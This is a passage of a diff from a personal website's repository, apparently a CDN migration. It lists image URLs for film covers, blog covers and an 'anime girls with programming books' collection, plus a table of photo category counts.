"https://krisyotam.com/cdn/images/film/uncle-boonmee-who-can-recall-his-past-lives-apichatpong-weerasethakul-2010.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1221: cover: "https://krisyotam.com/cdn/images/film/the-tree-of-life-terrence-malick-2011.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1227: cover: "https://krisyotam.com/cdn/images/film/mad-max-fury-road-george-miller-2015.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1233: cover: "https://krisyotam.com/cdn/images/film/zama-lucrecia-martel-2017.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1239: cover: "https://krisyotam.com/cdn/images/film/paisan-roberto-rossellini-1946.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1245: cover: "https://krisyotam.com/cdn/images/film/nosferatu-fw-murnau-1922.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1251: cover: "https://krisyotam.com/cdn/images/film/one-way-or-another-sara-gomez-1977.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1257: cover: "https://krisyotam.com/cdn/images/film/dr-strangelove-stanley-kubrick-1964.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1263: cover: "https://krisyotam.com/cdn/images/film/double-indemnity-billy-wilder-1944.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1269: cover: "https://krisyotam.com/cdn/images/film/leclisse-michelangelo-antonioni-1962.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1275: cover: "https://krisyotam.com/cdn/images/film/i-know-where-im-going-michael-powell-1945.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1281: cover: "https://krisyotam.com/cdn/images/film/wavelength-michael-snow-1967.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1287: cover: "https://krisyotam.com/cdn/images/film/the-life-and-death-of-colonel-blimp-michael-powell-1943.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1293: cover: "https://krisyotam.com/cdn/images/film/limite-mario-peixoto-1931.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1299: cover: "https://krisyotam.com/cdn/images/film/raiders-of-the-lost-ark-steven-spielberg-1981.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1305: cover: "https://krisyotam.com/cdn/images/film/pink-flamingos-john-waters-1972.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1311: cover: "https://krisyotam.com/cdn/images/film/twin-peaks-fire-walk-with-me-david-lynch-1992.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1317: cover: "https://krisyotam.com/cdn/images/film/twenty-years-later-eduardo-coutinho-1984.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1323: cover: "https://krisyotam.com/cdn/images/film/melancholia-lars-von-trier-2011.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1329: cover: "https://krisyotam.com/cdn/images/film/army-of-shadows-jean-pierre-melville-1969.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1335: cover: "https://krisyotam.com/cdn/images/film/the-deer-hunter-michael-cimino-1978.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1341: cover: "https://krisyotam.com/cdn/images/film/in-a-lonely-place-nicholas-ray-1950.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1347: cover: "https://krisyotam.com/cdn/images/film/suspiria-dario-argento-1977.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1353: cover: "https://krisyotam.com/cdn/images/film/brief-encounter-david-lean-1945.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1359: cover: "https://krisyotam.com/cdn/images/film/all-about-eve-joseph-l-mankiewicz-1950.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1365: cover: "https://krisyotam.com/cdn/images/film/duck-soup-leo-mccarey-1933.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1371: cover: "https://krisyotam.com/cdn/images/film/by-the-bluest-of-seas-boris-barnet-1936.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1377: cover: "https://krisyotam.com/cdn/images/film/the-green-ray-eric-rohmer-1986.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1383: cover: "https://krisyotam.com/cdn/images/film/grave-of-the-fireflies-isao-takahata-1988.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1389: cover: "https://krisyotam.com/cdn/images/film/blue-derek-jarman-1993.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1395: cover: "https://krisyotam.com/cdn/images/film/crash-david-cronenberg-1996.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1401: cover: "https://krisyotam.com/cdn/images/film/happy-together-wong-kar-wai-1997.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1407: cover: "https://krisyotam.com/cdn/images/film/flowers-of-shanghai-hou-hsiao-hsien-1998.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1413: cover: "https://krisyotam.com/cdn/images/film/as-i-was-moving-ahead-occasionally-i-saw-brief-glimpses-of-beauty-jonas-mekas-2000.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1419: cover: "https://krisyotam.com/cdn/images/film/petite-maman-celine-sciamma-2021.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1425: cover: "https://krisyotam.com/cdn/images/film/je-tu-il-elle-chantal-akerman-1974.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1431: cover: "https://krisyotam.com/cdn/images/film/a-touch-of-zen-king-hu-1971.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1437: cover: "https://krisyotam.com/cdn/images/film/the-crowd-king-vidor-1928.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1443: cover: "https://krisyotam.com/cdn/images/film/napoleon-abel-gance-1927.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1449: cover: "https://krisyotam.com/cdn/images/film/europa-51-roberto-rossellini-1952.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1455: cover: "https://krisyotam.com/cdn/images/film/the-hour-of-the-furnaces-fernando-solanas-1968.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1461: cover: "https://krisyotam.com/cdn/images/film/intolerance-dw-griffith-1916.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1467: cover: "https://krisyotam.com/cdn/images/film/star-wars-george-lucas-1977.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1473: cover: "https://krisyotam.com/cdn/images/film/cries-and-whispers-ingmar-bergman-1972.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1479: cover: "https://krisyotam.com/cdn/images/film/harlan-county-usa-barbara-kopple-1976.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1485: cover: "https://krisyotam.com/cdn/images/film/the-last-laugh-fw-murnau-1924.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1491: cover: "https://krisyotam.com/cdn/images/film/the-quince-tree-sun-victor-erice-1992.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1497: cover: "https://krisyotam.com/cdn/images/film/taste-of-cherry-abbas-kiarostami-1997.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1503: cover: "https://krisyotam.com/cdn/images/film/werckmeister-harmonies-bela-tarr-2000.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1509: cover: "https://krisyotam.com/cdn/images/film/in-vandas-room-pedro-costa-2000.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1515: cover: "https://krisyotam.com/cdn/images/film/morvern-callar-lynne-ramsay-2002.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1521: cover: "https://krisyotam.com/cdn/images/film/the-intruder-claire-denis-2004.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1527: cover: "https://krisyotam.com/cdn/images/film/syndromes-and-a-century-apichatpong-weerasethakul-2006.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1533: cover: "https://krisyotam.com/cdn/images/film/nostalgia-for-the-light-patricio-guzman-2010.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1539: cover: "https://krisyotam.com/cdn/images/film/distant-voices-still-lives-terence-davies-1988.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1545: cover: "https://krisyotam.com/cdn/images/film/soleil-o-med-hondo-1970.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1551: cover: "https://krisyotam.com/cdn/images/film/possession-andrzej-zuawski-1981.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1557: cover: "https://krisyotam.com/cdn/images/film/videodrome-david-cronenberg-1983.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1563: cover: "https://krisyotam.com/cdn/images/film/a-canterbury-tale-michael-powell-1944.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1569: cover: "https://krisyotam.com/cdn/images/film/a-clockwork-orange-stanley-kubrick-1971.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1575: cover: "https://krisyotam.com/cdn/images/film/mouchette-robert-bresson-1967.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1581: cover: "https://krisyotam.com/cdn/images/film/my-darling-clementine-john-ford-1946.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1587: cover: "https://krisyotam.com/cdn/images/film/earth-alexander-dovzhenko-1930.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1593: cover: "https://krisyotam.com/cdn/images/film/annie-hall-woody-allen-1977.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1599: cover: "https://krisyotam.com/cdn/images/film/sullivans-travels-preston-sturges-1941.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1605: cover: "https://krisyotam.com/cdn/images/film/pandoras-box-gw-pabst-1929.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1611: cover: "https://krisyotam.com/cdn/images/film/born-in-flames-lizzie-borden-1983.jpg", +/home/krisyotam/src/krisyotam.com/src/components/media/reading/reading.tsx:149: coverImage: "https://krisyotam.com/cdn/photos/covers/literature/2018-my-year-of-rest-and-relaxation-ottessa-moshfegh.jpg", +/home/krisyotam/lit/content/blog/magic-urls.mdx:19:[404-guesser.js](https://krisyotam.com/cdn/mirrors/gwern.net/js/404-guesser.js), [utility.js](https://krisyotam.com/cdn/mirrors/gwern.net/js/utility.js), [nginxredirectguesser.hs](https://krisyotam.com/cdn/mirrors/gwer +/home/krisyotam/lit/content/blog/dialogue-on-timed-cognition.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/blog/gustave-courbet--the-desperate-man-1845.jpg' +/home/krisyotam/lit/content/blog/film-study-as-background-noise.mdx:11: https://krisyotam.com/cdn/assets/covers/blog/edward-hopper--new-york-movie-1939.jpg +/home/krisyotam/src/krisyotam.com/src/app/(misc)/cast/page.tsx:35:const CDN = "https://krisyotam.com/cdn/assets/characters" +/home/krisyotam/lit/content/blog/analysis-of-daisy-randone.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/essays/analysis-of-daisy-randone.png' +/home/krisyotam/lit/content/blog/analysis-of-veronica-sawyer.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/notes/analysis-of-veronica-sawyer.png' +/home/krisyotam/lit/content/news/gemini-1.5-pro-announced.mdx:26:<video src="https://krisyotam.com/cdn/images/posts/news/gemini-1.5-pro-context-comparison.mp4" autoPlay loop muted playsInline /> +/home/krisyotam/lit/content/blog/large-file-storage.mdx:79:This is the media side. Cover images, portraits, audio files. Anything the site needs to display but that would be insane to commit to the git repo. The directory structure follows the site’s content categories, so you get paths like `/cdn/images/people/authors/` and `/cdn/audio/`. nginx has autoindex turned on here so you can browse it as a file listing. I inject a custom theme into those listing pages through nginx’s `sub_filter` module. +/home/krisyotam/lit/content/blog/large-file-storage.mdx:98:scp portrait.jpg server:/mnt/storage/cdn/images/people/authors/ +/home/krisyotam/lit/content/blog/analysis-of-lisa-rowe.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/essays/analysis-of-lisa-rowe.png' +/home/krisyotam/lit/content/blog/mnemosyne.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/notes/mnemosyne.png' +/home/krisyotam/lit/content/blog/notes-on-winona-ryder.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/notes/winona-ryder.png' +/home/krisyotam/src/krisyotam.com/src/app/api/tracking/media/route.ts:43: const IMG_BASE = "https://krisyotam.com/cdn/assets/404/img/"; +/home/krisyotam/src/krisyotam.com/src/app/api/tracking/media/route.ts:44: const AUDIO_BASE = "https://krisyotam.com/cdn/assets/404/audio/"; +/home/krisyotam/src/krisyotam.com/src/app/api/tracking/media/route.ts:45: const VIDEO_BASE = "https://krisyotam.com/cdn/assets/404/videos/"; diff --git a/doc/files/cdn/migration/output/photos-db-category-counts.tsv b/doc/files/cdn/migration/output/photos-db-category-counts.tsv new file mode 100644 index 0000000000000000000000000000000000000000..450e1d4cefa85977071336b77251c3353fadd542 --- /dev/null +++ b/doc/files/cdn/migration/output/photos-db-category-counts.tsv @@ -0,0 +1,40 @@ +Misc/blinkies|1784 +PFPs/black-anime-pfps|1629 +Misc/discord-emojis|389 +covers/film|341 +PFPs/black-anime-pfps/matching|284 +covers/posters|264 +icebergs/misc|261 +Misc/88x31|158 +reference/symbols|125 +covers/literature|116 +anime-girls-with-programming-books/SICP|104 +anime-girls-with-programming-books/C|78 +content/thumbnails/sequences|63 +anime-girls-with-programming-books/Python|57 +icebergs/internet|55 +people/musicians|51 +people/actors|49 +anime-girls-with-programming-books/Rust|47 +icebergs/videogames|47 +anime-girls-with-programming-books/C++|46 +covers/anime|45 +icebergs/movies|45 +content/thumbnails/ocs|43 +anime-girls-with-programming-books/Java|42 +PFPs/brand|36 +anime-girls-with-programming-books/Javascript|27 +anime-girls-with-programming-books/Math|25 +icebergs/history|24 +anime-girls-with-programming-books/Haskell|23 +anime-girls-with-programming-books/Other|21 +icebergs/anime-manga|21 +anime-girls-with-programming-books/Algorithms|20 +covers/games|20 +covers/movies|19 +anime-girls-with-programming-books/PHP|17 +characters/tv|17 +content/thumbnails/blog|16 +covers/courses|16 +covers/lectures|16 +anime-girls-with-programming-books/C#|15 diff --git a/doc/files/cdn/migration/output/photos-db-cdn-urls.txt b/doc/files/cdn/migration/output/photos-db-cdn-urls.txt new file mode 100644 index 0000000000000000000000000000000000000000..3527699ebdea8272980c65cbccb01d0523557514 --- /dev/null +++ b/doc/files/cdn/migration/output/photos-db-cdn-urls.txt @@ -0,0 +1,7045 @@ +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/A%2B%2B/Nyako_A%2B%2B.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/A%2B%2B/akira_A%2B%2B.jpeg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ABAP/Astolfo_reading_ABAP_objects.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ABAP/Felix_Argyle_holding_ABAP_textbooks.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ABAP/Stable_Diffusion_Girl_Holding_ABAP_Books.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/AI/CC_Understanding_ML.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/AI/Fujiwara_Chika_Deep_Learning.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/AI/Minako_Aino_ESL_Hastie.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/AI/Nico_Robin_Bishop_ML.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/AI/Princess_Renner_Machine_Learning_A_Probabilistic_Perspective.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/AI/Rei_Ayanami_ISL.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/AI/Sakura_Haruno_Reinforcement_Learning.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/AI/Umaru_chan_holding_AI_Engineering.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/AI/mai-sakurajima-holding-hands-on-machine-learning.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/AI/tsunade_artificial.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/APL/Toujou_APL.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Atsuko_Kagari_Assembly_Programming_with_RISC-V.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Denilmo_Web_Development_With_Assembly.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Frieren_Assembly_Language_For_x86_Processors.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Karen_Assembly_Language_Step_by_Step.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Karen_Kujou_Holding_ARM_Assembly_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Ninomae_Inanis_Holding_ASM_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Shinomiya_Kaguya_Holding_Assembly_Step_By_Step.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Shinomiya_Kaguya_With_Assembly_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Takami_Chika_Stressing_On_Assembly.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Tomo_Takino_Assembly.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Urara_Shiratori_Holding_Assembly_Language_Step_By_Step.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/Yui_Hirasawa_Modern_x86_Assembly_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/ASM/iM%40S_Shijo_Takane_holding_Assembly_Language_for_x86_Processors.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/AWS/Isla_Holding_Clould_AWS_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Ada/Shiomiya_Shiori_Holding_Shy_Ada_95_From_The_Beginning.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Agda/Agda_PROGRAM_%3D_PROOF_Samuel_Mimram.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Agda/Agda_thesis_bookworm.gif +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Echidna_Holds_Algorithms_And_Data_Structure_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Eru_Chitanda_Holding_40_Algorithms_Every_Programmer_Should_Know.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Inose_Mai_Teaches_Introduction_to_Algorithms.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Kana_Arima_Holding_Algorithms_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Kobayashi_Holds_9_Algorithms_That_Changed_The_World.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Komi_Shouko_holding_Introduction_to_Algorithms.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Konohata_Mira_Reads_Introduction_to_Algorithms.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Manaka_Ao_Holds_Introduction_to_Algorithms.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Marcille_Donato_Algorithms_Sedgewick.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Miku_Reading_DPV.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Mila_Holding_Algorithms_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Mio_Akiyama_Kageyama_Ritsu_reading_Introduction_to_Algorithms.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Misa_Amane_Death_Note_Holding_Algorithms_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Rina_Tennoji_Holds_Russian_The_Art_Of_Computer_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Roxy_Holding_Grokking_Algorithms.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Sakura_Nene_Algorithms.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Sakurai_Mikage_Holds_Introduction_to_Algorithms.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Suletta_Mecury_holding_The_Art_of_Computer_Programming_TAOCP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/Tsukasa_Yuzaki_reading_Algorithms.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Algorithms/lain_holding_introduction_to_algorithms.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Angular/Kana_Arima_Holding_Angular_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Angular/Nazuna_Nanakusa_Holding_Angular_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Angular/Nazuna_Nanakusa_Holding_Haskell_Book_At_Night.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Angular/Shouko_Komi_Holding_Angular_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Architecture/Akko_Holding_Digital_Design_And_Computer_Architecture_RISCV.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Architecture/Anya_Forger_Cloud_Native_OReilly.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Architecture/Azusa_Fuyutsuki_Holding_GT_Programozas1_Tervezes_HUN.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Architecture/Frieren_Clean_Architecture_Robert_Martin.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Architecture/Miko_Yotsuya_Holding_Computer_Organization_And_Design.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Architecture/Mona_Megistus_holding_Clean_Architecture.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Architecture/Nagatoro_Bullying_Senpai_For_Good_Reason.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Architecture/Sophia_Ascart_Holding_Computer_Organization_And_Architecture_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Architecture/Umaru_Chan_Holding_The_Intel_Microprocessors_International_Edition.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Architecture/Vigne_hold_Computer_Architecture_A_Quantitative_Approach.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Architecture/klee_computer_organization_and_design.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/Beef/Wandering_Witch_Beef.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Chisaki_Tapris_C%23.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Chito_Holding_C%23_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Freiren_holding_c%23_book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Fuuka_Kikuchi.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Hatsune_Miku_Holding_C%23_Player%27s_Guide.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Hatsune_Miku_Holding_C%23_Programming.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Kujou_Karen_dotNet_2_0_IL_Assembler.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Kurumizawa_Satanichia_C%23.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Mai_Sakurajima_C%23_in_a_Nutshell.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Mio_Akiyama_Holding_C%23_Book_Listening_To_Music.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/PRO_C%23_7.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Rei_Ayanami_C%23.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Shiori_Shiomiya_CLR_via_CSharp_In_Russian.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Violet_Evergarden_Holds_C_Sharp_Book_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%23/Yasuraoka_Hanabi_Reading_CSharp_Language_Book.png.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Anya%20C%2B%2B%20Data%20structures%20and%20algorithms.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Bocchi_the_rock_Hitori_Gotoh_the_c%2B%2B_programming_language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Chise_Hatori_Holding_C%2B%2B_Book.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Confused_Frieren_Holding_The_C%2B%2B_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Frederica_Rosenfort_CPP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Frieren_And_Fern_Reading_The_C%2B%2B_Programming_Language.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Frieren_Holding_Komputer_Swiat_C%2B%2B_Course.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Fujiwara_Chika_CPP_for_dummies.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Fuko_Accelerated_CPP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Game_Programming_In_c%2B%2B.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Honami-Holding-CPP-Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Ichinose_Chizuru_Advanced_CPP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Imus_Kanzaki_Ranko_CPP_Primer_Plus.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Jahy_Sama_Cries_At_CPP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Kagamihara_Nadeshiko_CPP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Kaguya_Shinomiya_Exceptional_C%2B%2B.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Kei_Shirogane_crying_CPP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Kitagawa_My_Dress_Up_Darling_cpp.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Kou_Yagami_Modern_Cpp.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Kurisu_Makise_CPP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Lain-Holding-PPP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Lavenza_Holds_Game_Programming_CPP_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Lumine_Game_Programming_In_C%2B%2B_Book.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Mai_Sakurajima_C%2B%2B_Programming_For_Beginners.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Makise_Kurisu_cpp.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Marin_Kitagawa_Holds_Modern_CPP_Portuguese.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Nanachi_Looking_At_Cover_PPP_CPP.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Nanami_Mami_Jumping_Into_C%2B%2B.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Nico_Robin_C%2B%2B.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Power_Holding_Sams_Teach_Yourself_C%2B%2B_in_One_Hour_a_Day_by_Siddhartha_Rao_Sams_Publishing_2022.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Ryo_Yamada_Principles_and_Practice_Using_C%2B%2B.png +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Sakura_Nene_CPP.jpg +https://krisyotam.com/cdn/images/anime-girls-with-programming-books/C%2B%2B/Sakura_Nene_CPP_Covered.jpg 